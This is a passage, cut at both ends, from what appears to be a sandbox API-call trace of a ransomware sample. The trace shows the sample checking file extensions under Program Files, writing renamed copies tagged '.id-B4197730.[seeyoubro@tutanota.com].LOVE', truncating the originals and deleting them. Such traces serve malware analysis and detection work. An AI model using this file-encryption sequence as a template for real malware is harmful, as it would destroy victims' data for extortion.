shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.675] lstrlenW (lpString=".jpg") returned 4 [0201.675] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.675] lstrlenW (lpString=".doc") returned 4 [0201.675] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.675] lstrlenW (lpString=".docx") returned 5 [0201.675] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0201.675] lstrlenW (lpString=".pdf") returned 4 [0201.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.675] lstrlenW (lpString=".xls") returned 4 [0201.675] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.675] lstrlenW (lpString=".xlsx") returned 5 [0201.675] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0201.675] lstrlenW (lpString=".ppt") returned 4 [0201.676] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.676] lstrlenW (lpString=".zip") returned 4 [0201.676] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.676] lstrlenW (lpString=".rar") returned 4 [0201.676] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.676] lstrlenW (lpString=".bz2") returned 4 [0201.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.676] lstrlenW (lpString=".7z") returned 3 [0201.676] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.676] lstrlenW (lpString=".dbf") returned 4 [0201.676] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.676] lstrlenW (lpString=".1cd") returned 4 [0201.676] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.676] lstrlenW (lpString=".jpg") returned 4 [0201.676] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.676] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.676] lstrlenW (lpString="ja-jp-sym.xml") returned 13 [0201.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.693] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=805) returned 1 [0201.693] CloseHandle (hObject=0x328) returned 1 [0201.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0201.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.694] lstrlenW (lpString=".doc") returned 4 [0201.694] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.694] lstrlenW (lpString=".docx") returned 5 [0201.694] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0201.694] lstrlenW (lpString=".pdf") returned 4 [0201.694] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.694] lstrlenW (lpString=".xls") returned 4 [0201.694] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.694] lstrlenW (lpString=".xlsx") returned 5 [0201.694] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0201.694] lstrlenW (lpString=".ppt") returned 4 [0201.694] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.694] lstrlenW (lpString=".zip") returned 4 [0201.694] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.694] lstrlenW (lpString=".rar") returned 4 [0201.694] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.694] lstrlenW (lpString=".bz2") returned 4 [0201.694] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.694] lstrlenW (lpString=".7z") returned 3 [0201.694] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.694] lstrlenW (lpString=".dbf") returned 4 [0201.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.694] lstrlenW (lpString=".1cd") returned 4 [0201.694] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.694] lstrlenW (lpString=".jpg") returned 4 [0201.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.694] lstrlenW (lpString=".doc") returned 4 [0201.695] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.695] lstrlenW (lpString=".docx") returned 5 [0201.695] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0201.695] lstrlenW (lpString=".pdf") returned 4 [0201.695] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.695] lstrlenW (lpString=".xls") returned 4 [0201.695] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.695] lstrlenW (lpString=".xlsx") returned 5 [0201.695] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0201.695] lstrlenW (lpString=".ppt") returned 4 [0201.695] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.695] lstrlenW (lpString=".zip") returned 4 [0201.695] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.695] lstrlenW (lpString=".rar") returned 4 [0201.695] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.695] lstrlenW (lpString=".bz2") returned 4 [0201.695] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.695] lstrlenW (lpString=".7z") returned 3 [0201.695] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.695] lstrlenW (lpString=".dbf") returned 4 [0201.695] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.695] lstrlenW (lpString=".1cd") returned 4 [0201.695] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0201.695] lstrlenW (lpString=".jpg") returned 4 [0201.695] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.695] lstrcmpiW (lpString1=".dat", lpString2=".LOVE") returned -1 [0201.695] lstrlenW (lpString="hwrenclm.dat") returned 12 [0201.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.697] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=498624) returned 1 [0201.697] CloseHandle (hObject=0x328) returned 1 [0201.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0201.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.697] lstrlenW (lpString=".doc") returned 4 [0201.697] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0201.697] lstrlenW (lpString=".docx") returned 5 [0201.697] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0201.697] lstrlenW (lpString=".pdf") returned 4 [0201.697] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0201.697] lstrlenW (lpString=".xls") returned 4 [0201.697] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0201.697] lstrlenW (lpString=".xlsx") returned 5 [0201.698] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0201.698] lstrlenW (lpString=".ppt") returned 4 [0201.698] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0201.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.698] lstrlenW (lpString=".zip") returned 4 [0201.698] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0201.698] lstrlenW (lpString=".rar") returned 4 [0201.698] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0201.698] lstrlenW (lpString=".bz2") returned 4 [0201.698] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0201.698] lstrlenW (lpString=".7z") returned 3 [0201.698] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0201.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.698] lstrlenW (lpString=".dbf") returned 4 [0201.698] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0201.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.698] lstrlenW (lpString=".1cd") returned 4 [0201.698] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0201.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.698] lstrlenW (lpString=".jpg") returned 4 [0201.698] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0201.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.698] lstrlenW (lpString=".doc") returned 4 [0201.698] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0201.698] lstrlenW (lpString=".docx") returned 5 [0201.698] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0201.698] lstrlenW (lpString=".pdf") returned 4 [0201.698] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0201.698] lstrlenW (lpString=".xls") returned 4 [0201.698] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0201.698] lstrlenW (lpString=".xlsx") returned 5 [0201.698] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0201.698] lstrlenW (lpString=".ppt") returned 4 [0201.698] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0201.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.699] lstrlenW (lpString=".zip") returned 4 [0201.699] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0201.699] lstrlenW (lpString=".rar") returned 4 [0201.699] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0201.699] lstrlenW (lpString=".bz2") returned 4 [0201.699] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0201.699] lstrlenW (lpString=".7z") returned 3 [0201.699] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0201.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.699] lstrlenW (lpString=".dbf") returned 4 [0201.699] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0201.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.699] lstrlenW (lpString=".1cd") returned 4 [0201.699] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0201.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0201.699] lstrlenW (lpString=".jpg") returned 4 [0201.699] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0201.699] lstrcmpiW (lpString1=".dat", lpString2=".LOVE") returned -1 [0201.699] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0201.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.699] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1100592) returned 1 [0201.700] CloseHandle (hObject=0x328) returned 1 [0201.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0201.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0201.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0201.700] lstrlenW (lpString=".doc") returned 4 [0201.700] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0201.700] lstrlenW (lpString=".docx") returned 5 [0201.700] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0201.700] lstrlenW (lpString=".pdf") returned 4 [0201.700] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0201.700] lstrlenW (lpString=".xls") returned 4 [0201.700] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0201.700] lstrlenW (lpString=".xlsx") returned 5 [0201.700] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0201.700] lstrlenW (lpString=".ppt") returned 4 [0201.700] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0201.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0201.700] lstrlenW (lpString=".zip") returned 4 [0201.701] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0201.701] lstrlenW (lpString=".rar") returned 4 [0201.701] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0201.701] lstrlenW (lpString=".bz2") returned 4 [0201.701] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0201.701] lstrlenW (lpString=".7z") returned 3 [0201.701] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0201.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0201.701] lstrlenW (lpString=".dbf") returned 4 [0201.701] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0201.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0201.857] GetLastError () returned 0x0 [0201.857] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xae, lpOverlapped=0x0) returned 1 [0201.858] WriteFile (in: hFile=0x350, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xb0, lpOverlapped=0x0) returned 1 [0201.859] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.859] WriteFile (in: hFile=0x350, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xea, lpOverlapped=0x0) returned 1 [0201.859] SetEndOfFile (hFile=0x350) returned 1 [0201.859] CloseHandle (hObject=0x350) returned 1 [0201.859] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.859] SetEndOfFile (hFile=0x348) returned 1 [0201.860] CloseHandle (hObject=0x348) returned 1 [0201.860] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x26) returned 1 [0201.861] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0201.861] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.861] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.861] lstrlenW (lpString=".doc") returned 4 [0201.861] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0201.861] lstrlenW (lpString=".docx") returned 5 [0201.861] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0201.861] lstrlenW (lpString=".pdf") returned 4 [0201.861] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0201.861] lstrlenW (lpString=".xls") returned 4 [0201.861] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0201.861] lstrlenW (lpString=".xlsx") returned 5 [0201.861] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0201.861] lstrlenW (lpString=".ppt") returned 4 [0201.861] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0201.861] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.861] lstrlenW (lpString=".zip") returned 4 [0201.862] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0201.862] lstrlenW (lpString=".rar") returned 4 [0201.862] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0201.862] lstrlenW (lpString=".bz2") returned 4 [0201.862] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0201.862] lstrlenW (lpString=".7z") returned 3 [0201.862] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0201.862] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.862] lstrlenW (lpString=".dbf") returned 4 [0201.862] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0201.862] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.862] lstrlenW (lpString=".1cd") returned 4 [0201.862] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0201.862] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.862] lstrlenW (lpString=".jpg") returned 4 [0201.862] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0201.862] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.862] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.862] lstrlenW (lpString=".doc") returned 4 [0201.862] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0201.862] lstrlenW (lpString=".docx") returned 5 [0201.862] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0201.862] lstrlenW (lpString=".pdf") returned 4 [0201.862] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0201.862] lstrlenW (lpString=".xls") returned 4 [0201.862] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0201.862] lstrlenW (lpString=".xlsx") returned 5 [0201.862] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0201.862] lstrlenW (lpString=".ppt") returned 4 [0201.863] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0201.863] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.863] lstrlenW (lpString=".zip") returned 4 [0201.863] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0201.863] lstrlenW (lpString=".rar") returned 4 [0201.863] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0201.863] lstrlenW (lpString=".bz2") returned 4 [0201.863] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0201.863] lstrlenW (lpString=".7z") returned 3 [0201.863] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0201.863] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.863] lstrlenW (lpString=".dbf") returned 4 [0201.863] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0201.863] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.863] lstrlenW (lpString=".1cd") returned 4 [0201.863] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0201.863] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0201.863] lstrlenW (lpString=".jpg") returned 4 [0201.863] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0201.863] lstrcmpiW (lpString1=".txt", lpString2=".LOVE") returned 1 [0201.863] lstrlenW (lpString="Xusage.txt") returned 10 [0201.863] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0201.864] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1423) returned 1 [0201.864] CloseHandle (hObject=0x348) returned 1 [0201.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0201.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.865] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0201.865] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.865] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.865] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0201.865] GetLastError () returned 0x0 [0201.865] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x58f, lpOverlapped=0x0) returned 1 [0201.943] WriteFile (in: hFile=0x350, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x590, lpOverlapped=0x0) returned 1 [0201.944] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, 